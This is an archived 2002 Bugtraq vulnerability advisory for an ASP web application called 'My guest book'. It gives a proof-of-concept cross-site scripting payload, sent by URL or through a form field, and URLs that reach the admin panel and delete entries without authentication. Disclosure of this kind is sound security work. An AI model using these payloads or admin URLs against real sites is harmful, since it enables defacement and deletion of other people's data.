lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <129153547.20020327180727@mail.ru>
Date: Wed, 27 Mar 2002 18:07:27 +0300
From: Over_G <overg@...l.ru>
To: vuln@...urity.nnov.ru, bugtraq@...urityfocus.com
Subject: Vulnerability in my guest book


Product: My guest book
Version: ?
OffSite: ?
Problem: CSS and unauthorized access in admin panel
--------------------------------------------------------------

1)Cross Site scripting

http://[target]/myguestBk/add1.asp?name=Name&subject=Subj&email=M@...message=<scr*pt>alert ("Test!")</scr*pt>

Or open http://[target]/myguestBk/add.asp and write in "Message" field: 
<scr*pt>alert ("Test!")</scr*pt> and press "Post Message".


2)Unauthorized access in admin panel

http://[target]/myguestBk/admin/index.asp
Delete news:
http://[target]/myguestBk/admin/delEnt.asp?id=NEWSNUMBER
with NEWSNUMBER - news number in database.




Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprog@....net


Best regards, Over G[DWC Gr0up]




Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ